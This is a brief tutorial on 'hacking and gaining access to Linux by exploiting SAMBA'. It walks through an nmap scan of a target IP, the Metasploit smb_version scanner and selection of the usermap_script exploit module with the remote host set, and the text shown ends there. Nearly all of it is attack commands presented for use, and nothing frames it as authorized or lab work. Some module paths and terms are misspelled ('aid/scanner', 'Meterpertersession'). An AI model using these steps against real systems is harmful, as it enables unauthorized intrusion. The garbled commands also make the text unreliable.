Today we will learn about Hacking and gaining access to Linux by exploiting SAMBA.
Hacking and gaining access to Linux by exploiting SAMBA
First, we need to find out the ports and services running on the target system. To find open ports and services, the command is:
Command: nmap -sS -Pn -A 192.168.2.142
Once you find open ports and service like port and samba service ready, set to send exploit through that port to create meterpreter session. To perform this attack, you need to open metasploit.
Once you open metasploit, we first need to find the version of samba
Command: -msf> search scanner/samba
(This command is used to find the scanner parameter to find the samba version)
Once you find the scanners to find the target’s samba version, use the scanner parameter.
Command: msf> use aid/scanner/smb/smb_version
(This command is used to set the scanner parameter)
Command 2: msfauxiliary(smb_version) > set RHOSTS 192.168.2.142
(This command is used to set the IP address of the remote host whose version you need to find out)
Command 3: exploit
After finding the samba version, attack and gain access to the linux system using Meterpertersession
Command: msf> use exploit/multi/samba/usermap_script
This is the exploit we need to select to gain access to the system
Command: msf exploit(usermap_script) > set RHOST 192.168.2.142